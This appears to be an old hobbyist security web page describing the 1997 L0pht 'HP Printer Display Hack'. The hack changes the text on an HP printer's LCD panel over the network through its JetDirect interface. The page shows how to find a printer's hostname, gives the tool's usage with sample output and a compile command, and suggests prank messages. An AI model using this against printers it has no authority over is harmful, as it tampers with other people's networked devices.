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HP Printer Display Hack

HP Printer Display Hack

        This is an old hack (1997) and does not accomplish much, but it is fun! Silicosis of L0pht (sili@l0pht.com) wrote the original exploit code for *nix  systems and someone else ported it to NT/2000/XP based systems. Although it's been out there for a long time, it still works on every HP printer/JetDirect box I have seen. What the HP display hack allows you to do is set the text that displays on the little LCD panel of an HP printer. It accomplishes this over the network by sending packets to a JetDirect box hooked to the printer (or built into it).

        The first thing you need to do is find out the IP or hostname of the JetDirect box that services the printer. You can do this in one of at least three ways. The first way is by hitting the little test button on the JetDirect box that's connected to the printer. If the JetDirect card is built in you may have to go through the menus and choose "Print Configuration". Another way is to go into your "Printers and Faxs" settings, right click and bring up the properties of the printer in question, and look under the Ports tab for the hostname (npi******). Once you have this information it's easy to run Silicosis ' little hack.

        To run it from Windows just use the following syntax: hpnt Hostname Message
Windows Example:

C:\>hpnt npi769e71 "Irongeek"
HP Display hack -- sili@l0pht.com
Hostname: npi769e71
Message: Irongeek
Connecting....
Sent 54 bytes

C:\>hpnt 192.168.1.14 "Irongeek Also"
HP Display hack -- sili@l0pht.com
Hostname: 192.168.1.14
Message: Irongeek Also
Connecting....
Sent 59 bytes

C:\>

            If you want to run it from Linux download the source code at the bottom of this page and compile it using gcc. The syntax is the same as the Windows version. Below is an example of how to compile and run it:

[root@balrog root]# gcc -o hphack hp.c
hp.c:28:12: warning: multi-line string literals are deprecated
[root@balrog root]# ./hphack 192.168.1.14  "Irongeek"
HP Display hack -- sili@l0pht.com
Hostname: 192.168.1.14
Message: Irongeek
Connecting....
Sent 54 bytes
[root@balrog root]#

            A few ideas for messages: "Hey Baby", "X was Here", "I see You", "Redrum", "Kill". Enjoy. I'm working on my own GUI version with extra features, it's web page will be here when it's done.

 

Downloads:

Unix Source

Windows Source

Windows Binary

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Louisville / Kentuckiana Information Security Enthusiast